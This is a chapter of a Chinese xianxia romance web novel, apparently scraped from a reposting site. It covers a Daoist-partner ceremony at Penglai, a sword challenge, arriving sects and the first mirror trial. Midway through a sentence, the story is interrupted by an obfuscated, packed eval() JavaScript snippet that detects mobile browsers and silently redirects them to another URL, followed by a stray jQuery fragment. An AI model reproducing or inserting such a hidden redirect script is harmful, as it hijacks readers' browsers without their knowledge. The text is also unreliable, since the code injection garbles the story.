6. 大典

作品:《被夺舍后与师兄成婚了

    杀气中蕴藏的剑意暴露了来者的身份。


    谢濯定住脚步,避也不避,直到对方近在咫尺的一声“大师兄”,他才收回了视线。


    看了一出白栀变脸的全过程。


    从对攻势饶有兴味,到察觉出对方身份后的百无聊赖,甚至侧过身让了让位置。


    剑鸣破空而来,“可算让我逮住人了,快拔剑!”


    一道磅礴的剑气从他手中之剑迸发而出,白栀随即望去,少年年龄不大,他的额间贴着两绺头发,还有一簇随着动作被风吹得翘起,眼神里满是专注的光。


    修为估摸着能有个筑基圆满,离结丹尚有一段距离。


    白栀先前被谢濯束着,无法脱身,这会儿瞥见持剑袭来的少年,扬唇一笑,反过来加重力道攥紧了谢濯的右臂。


    剑修大数使的是右手剑,同样的剑术,到左手威力便减了许多。


    谢濯的本命剑并未出鞘,右臂还被她攥着,这一下要怎么挡?


    跟在少年身后的是几个年龄相仿的少年少女,见他就这样提着剑冲上去,不由惊呆了。


    “十师弟!”


    “贺行嘉!你冷静一点,这里是蓬莱不是剑宗啊!”


    “周长老呢?周长老还没来吧?”


    其中一名弟子回头望了眼,先是松了口气,又在看到少年宛若离弦之箭冲到谢濯面前时惊惧不已。


    他们大师兄两手空空,手上连根树枝都没有。


    ……也不算两手空空,其中一只手还牵着道侣呢。


    弟子很是惆怅,一面惆怅一面有些慌张,唯恐在大喜的日子见了血。


    大师兄不打算拔剑,大师兄的道侣可还在旁边看着。万一把十师弟当成找事的,出手再重那么一点——


    正想着,剑光已经逼近谢濯眼前。


    那弟子眼睛都不敢眨,紧紧地盯着谢濯身侧的女修。


    剑气掀起周身的气流,红衣飘飘。


    女修抬起了手——


    几个人俱是屏住呼吸,视线凝聚在她的指尖上。


    来了!


    大师兄的道侣如此神秘,究竟使的是什么法术?!


    那几条视线太过灼热,白栀想注意不到都难。她忽然起了捉弄的心思,故意高高扬起手,在紧绷的气氛之中迎着剑光,轻轻地按压在了面庞。


    加固了一下被气流微微掀起的面纱。


    单手操作似乎有些困难,白栀理了几下,总算满意,又利落地放下了手。


    围观的剑宗弟子:……


    啊?


    啊??


    贺行嘉同样愣了一瞬,见谢濯果真没有拔剑的意思,再想收攻势已经来不及。


    谢濯依旧没有拔剑。


    他余光瞥见了白栀的动作,她食指微微翘起,点按在红裳上,宛若纷飞的蝴蝶。


    看样子心情好极了。


    贺行嘉有意收回力道,只是攻势依旧难止。剑光已至谢濯眼前,他淡淡举起左掌,指尖分开,一瞬并拢。


    贺行嘉瞪大双眼。


    他的剑!


    竟然被大师兄徒手接下来了?


    没等众人反应过来,贺行嘉的本命剑忽地调转了位置,跑到了谢濯的手中。他们离得太远,还没搞清楚发生了什么,就见到谢濯反手握剑,剑尖指着自己,剑柄逼近贺行嘉脖颈,最终悬在半寸之处停滞。


    一套行云流水的动作下来,挽着白栀的右手丝毫没有动过,手上还多了把剑。


    他随手一抛,本命剑落入贺行嘉怀里。


    “多谢大师兄手下留情。”贺行嘉挠了挠头,接住本命剑,偷偷揉着被震麻的手。


    看清楚了谢濯徒手接剑的全称,白栀瞳孔微缩,不着痕迹地看了一眼谢濯的左手,毫发无损,连一道口子都没有。


    传说天生剑骨之人能够以身为剑,她曾以为这只是个夸大的传闻。今日亲眼所见,实在震撼。


    但这种情绪也只维持了一瞬。


    贺行嘉依旧呆呆地站在原地,揉着胳膊,对此感到十分沮丧。


    围观的剑修们终于放心地挤了进来,不过第一个关心的并不是贺行嘉。


    “师嫂。”


    出声的女修还穿着剑宗的白袍,眉眼纯粹,笑眯眯地朝着白栀打招呼,本命剑上的剑穗随着动作一晃一晃。


    白栀这才发现她的剑穗被缠出了个兔子形状。


    兔子主人眨巴着眼睛,充满好奇:“师嫂来自哪个门派?怎么和大师兄认识的?大师兄与你私下相处有反差吗?师嫂……”


    贺行嘉苦着脸打断:“诶诶诶,这里还有个伤患呢。”


    “你算什么伤患?”兔子噗嗤一声笑了出来,“剑都被人夺了,师父知道了不得把你打成真正的伤患。”


    贺行嘉挠了挠头,没能反驳。


    兔子将贺行嘉拎起来,退到一个相对安全的距离,这才笑眯眯地望向白栀,“师嫂好,我叫林漾,是剑宗的修士,排行第八。”


    师嫂?!


    贺行嘉被林漾提着领子,眼神发亮地看着白栀。


    林漾拧贺行嘉衣领的手加了几分力道,皮笑肉不笑地压低声音:“你先去小孩那一桌坐好了,想打架先分分场合,不要在这里左脑攻击右脑,冒犯师兄师嫂。”


    白栀:“……”这兔子的嘴怎么会咬人的。


    不过,师嫂?


    她皱皱眉。


    贺行嘉抱着剑默默准备归队,与谢濯擦肩时,忽然听见自家大师兄开口道:“换一个。”


    “换什么?”贺行嘉疑惑。


    “称呼。”谢濯停顿了一下,看的是白栀的方向,“道侣大典还未开始,现在叫师嫂有些早了。”


    贺行嘉这才反应过来大师兄原来不是在同他说话。


    林漾从刚才开始就一直留意着周遭的状况,心底隐隐有个想法,但没打算说破。


    见贺行嘉依然怔愣在原地,她一把将他拉退了一段距离。


    人要有自知之明。


    白栀转头望去,谢濯正盯着瑶池大殿的方向,神色莫测,不知道在看什么。


    她温声道:“叫我白师姐就好。”


    她没隐瞒自己的姓氏,众人知道她的身份是迟早的事。


    林漾乖巧喊了句白师姐,又朝着两人摆了摆手,一手提剑,一手提着贺行嘉,朝着剑宗众修士的方向去了。


    青鸟悠然而啼,白栀本就分了心神在它身上,观礼名单拉了老长一段,只见仙雾之间以肉眼可见的速度不断变换着字迹,生成新的“到”字,似乎为了提醒他们,还隐隐闪着金光。


    通往四方池水的正殿前,淡雾被什么冲散成道道拖尾,其终点正是瑶池殿前。


    几个呼吸之间,殿门口就多了数百道身影,打头那几位修士正是长青门的大长老,还有几张白栀见过的熟面孔。


    最吸引她的却是名女子,她在长青门队末的位置,身着银丝长袍,碧冠绾发,一颦一笑皆摄人心魄,与她那双眸子对视时,更是不自觉地屏住呼吸,生不出一分旖旎心思。


    白栀不自觉地被她吸引,然而那张国色天香的脸忽地一闪,皮肉消失不见,华服之下,竟是一具森白的骷髅!


    白栀微微后退一步,这极小的动作被对面捕捉,粉面含春的脸重映在眼前,静静看了半晌,竟是笑了。


    仿佛之前那具骷髅只是幻象而已。


    绝色。


    骷髅。


    这两个词同时在白栀心底浮现时,女子的身份呼之欲出。


    此人是欢喜宗宗主。


    白栀对她了解不是很多,欢喜宗的修炼方式与正统修真一派并不相同,在修真界风评不是很好,早年将宗门迁至边境。宗主单名一个月字,道君称她为月宗。


    她不清楚便不对欢喜宗加以评判,很快转移了视线,又认出几名修真界有头有脸的人物,不止掌门长老,还有许多来蹭甘霖的弟子。


    九只青鸟扑棱棱飞来,盘旋围绕在头顶,最早见到的那只青鸟仍在兢兢业业地摆弄着宾客名单,时不时嘬一口胸羽,没有要离开的意思。


    很快,莫无极的声音响起:“时间已到,谢小友请携道侣踏上镜台。”


    莫无极身为蓬莱的掌门,又成了这次仙侣大殿的东道主,自然地主持了起来。


    缭绕在瑶池殿内的仙雾慢慢消散,百家修士立于殿内,一同看向镜台上的新人。


    观剑峰的剑修被贴心地安排到了距离镜台最近的位置,往后是蓬莱和长青门,其他几个修真界比较大的门派也分到了前排,至于那些叫不出名号的小门派,自然是落到了最后头。


    饶是如此,大殿内也容纳了数万名修士。


    蓬莱队首除却几位长老,还站着一名鹅黄色长袍的女修,她手上托着一本古籍,不像其他人那样对镜台上的女子好奇,只淡淡注视着手里的东西。


    长青门几个长老对视了一下,面上的表情都不怎么好看。


    许亭山看着捧书的莫念烟,一不小心又揪断了一根胡子。


    他下意识地朝着欢喜宗宗主的方向看去,后者眼波流转,隔空遥望了回去。


    她的身边空无一人。


    叶琉璃竟不在这里?


    她是月宗最得意的弟子,今日瑶池降下甘霖,没理由不出现在观礼台上,难不成谢濯挽着的那位真的是叶琉璃么?


    其他几个


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15182351|165338||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    长老显然是想到了这一点,面色凝重。


    过了好半晌,许亭山呼出口气,自然地将视线移开了。


    “罢了,左右这道侣也不是你我来结,安生等甘霖吧。”


    他无奈传音道。


    谢濯的面子自然没那么大,大到多半个修真界都来观礼,在场半数的人最为期待的还是礼成后降下的甘霖。


    镜台上,白栀与谢濯手挽手站了上去。莫无极只叫他们上镜台,却迟迟不公布之后的流程。


    面纱阻隔了四面八方投来的视线,白栀握着谢濯的手用了几分力道,低声问:“接下来要做什么?就在这被他们当灵猴一样看吗?”


    “谢某第一次结,不清楚这些。”清冷的声音从她脑中响起,从左耳推到右耳,感觉有些发痒。


    是谢濯在与她传音。


    她顿了一顿,看向下方剑宗的位置,贺行嘉面色古怪,移开了目光,而身侧的林漾垂着头,肩膀一颤一颤地,这才明白过来。


    白栀虽然刻意压制声音的大小,可在场都是些耳聪目明的修士,自然能听到她说了什么。


    略一思考,知道了谢濯传音的原因。


    可她如今没法使用灵力,无法做到同谢濯双向传音,只得咬着牙,声音几不可闻:“我们这流程是不是该缩短些?”


    话音刚落,镜台上竖起八面水镜,莫无极浑厚的声音响起。


    “蓬莱瑶池封禁了有百余年,终于迎来了一对神仙眷侣。”


    说到这里,他笑道:“天道九问其八就在这八面水镜中,谢道友请携道侣上前一步,站到第一面镜前。”


    这次谢濯没再与白栀传音。


    他率先走上镜台,在第一面水镜前止住脚步。


    水镜波动了一下,顷刻间浮现出一角飞檐翘角的屋宇,通过曲折的长廊便是内院,青石板尽头、白玉石阶上,伫立着一道熟悉的背影。


    画面飞速变换,数十年不过眨眼一瞬,将谢濯的小半生展现于水镜之内,直到他提起染血的本命剑,与水镜外的谢濯对上了视线。


    白栀眨了眨眼,飞快移开了目光。


    谢濯眉头紧锁地看着水镜,不知在想什么。


    底下有修士喧哗起来。


    “搞什么,说是天道九问,结果也不给人看。”


    “道侣之间的事,你怎么这么好奇?”


    “这你还不明白?赵师兄是想找道侣了呗——”


    “你乱说什么!”


    白栀听了半天,内心里一块石头落了地。原来下面的人看水镜中的画面如一团雾气,并不知晓其中发生了什么。


    她看不见,大家也看不见,十分合理。


    “白师姐愣着做什么?”


    不知什么时候,谢濯的视线已经落到了她身上,让出了水镜前的位置,“不会对魔君余情未了,临时反悔了吧。”


    白栀似笑非笑:“对。今天同我站在镜台上的怎么就不是陆睚,谢师兄好去小孩那一桌坐着歇脚。”


    谢濯又不说话了。


    底下的修士们议论纷纷,相较于他们,几个前排的长老则是淡定许多,他们并不是第一次来瑶池,清楚其中流程。


    陈芷趁乱扯着袖子往前挤。


    听说越往前分到的甘霖就越多,好不容易得了机会来瑶池观礼,就这样站在后排回去又怎会甘心?


    身旁的长青门弟子被撞得一个趔趄,皱眉看着她。


    接连被推搡几次,前排的弟子忍不住道:“陈芷师姐,你注意点。”


    这里不比长青门,在外起了争端,大家看的是长青门的笑话。虽然陈芷论起修为来,还要算他的师姐,惹恼了陈芷对他来说没有好处。


    都知道甘霖是瑶池降下的宝贝,在场的修士哪一个不想分一分,从而提升修为?


    陈芷离得近了,总算看清了镜台上的二人,只一抬眼,目光就凝在了那女修的身上。


    这个身形……这个身形!


    还有这张掩藏的脸、她走上镜台的动作,每一处都带给陈芷熟悉的感觉。


    陈芷抖着身子,呼吸急促起来。她抬起头,在人群中寻找什么,那眼神将周围的弟子吓了一跳。


    终于,一把拉过与她一同看守揽月阁的那位女修,冷声道:“你怎么来了?”


    “什么?”女修不解道,“今日瑶池大典,长老说不必看守揽月阁,想参与的弟子都可前往蓬莱,阿芷是放心不下揽月阁的禁制吗?”


    陈芷死死地盯着镜台上的人,遮面的白纱覆盖得紧,让她看不清那个人的脸。


    她猛地攥紧了女修的手腕,目光森然:“我问你,揽月阁的禁制,当真万无一失吗?”